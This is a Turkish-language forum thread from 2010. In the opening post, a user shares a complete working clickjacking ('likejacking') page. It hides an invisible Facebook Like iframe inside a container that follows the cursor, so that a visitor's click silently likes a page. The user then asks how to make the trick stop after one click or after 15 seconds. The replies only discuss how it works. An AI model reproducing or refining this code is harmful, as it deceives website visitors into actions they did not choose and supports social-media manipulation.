• 25-11-2010, 23:03:51
    #1
    🌐 𝘀𝗼𝗰𝗶𝗳𝗹𝘆.𝗰𝗼𝗺
    Merhaba,

    Elimde şöyle bir kod var. Otomatik mouseu takip ediyor ve beğen butonuna tıklatıyor. Ama kişi bir kere tıklayınca o hep devam ediyor mouseu ve adam bu sefer normal linklere tıklayamıyor.

    Bunu tıklayınca kapatma veya otomatik 15 saniye sonra kapatma nasıl yapabiliriz?

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Oto Beğen</title>
    
    <script src="jquery-1.4.2.min.js" type="text/javascript"></script>
    <script type="text/javascript">
    var interval;
            $(function()
    {
        interval=setInterval("updateActiveElement();", 50);
    });
    
    function updateActiveElement()
    {
        if ( $(document.activeElement).attr('id')=="fbframe" )
        {
            clearInterval(interval);
            iflag=1;
        }    
    }
            
            </script>
    </head>
    
    <body>
            
    
            
    <!--page content goes here-->
    <h2 align="center">Oto Beğen</h2>
    <!-- end of page content (but don't close your html or body tag here)-->
            
            
    <div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
    
    <!-- Facebook beğen kodunu aşağı yazın... (iframe kısmına) -->
    
             <iframe src="http://www.facebook.com/plugins/like.php?href=http%253A%252F%252Fbh530.net&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
            
    </div>
        
        
          <script>
        var iflag = 0;
        var icontainer = document.getElementById('icontainer');    
        var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
        
        
        
        function mouseFollower(e){
            /*                    DO NOT EDIT THIS                         */
        if (window.event)
        { // for IE
            icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
            icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
        }
        else
        {
            icontainer.style.top = (e.pageY-5)+'px';
            icontainer.style.left = (e.pageX-5)+'px';
        }
    
        }
        document.onmousemove = function(e) {
            if (iflag == 0) {mouseFollower(e);}
        }
    
        </script>
    
    </body>
    </html>
  • 26-11-2010, 13:47:46
    #2
    🌐 𝘀𝗼𝗰𝗶𝗳𝗹𝘆.𝗰𝗼𝗺
    Güncel
  • 26-11-2010, 20:57:18
    #3
    yardımcı olmak isterdim ama tam olarak nasıl çalıştığını anlayamadım fareyi mi yönlendiriyor yoksa fare buton koordinatlarina gelince click mi atiyor
  • 05-12-2010, 17:13:58
    #4
    🌐 𝘀𝗼𝗰𝗶𝗳𝗹𝘆.𝗰𝗼𝗺
    Tontonq adlı üyeden alıntı: mesajı görüntüle
    yardımcı olmak isterdim ama tam olarak nasıl çalıştığını anlayamadım fareyi mi yönlendiriyor yoksa fare buton koordinatlarina gelince click mi atiyor
    frame sürekli mouseu takip ediyor hocam.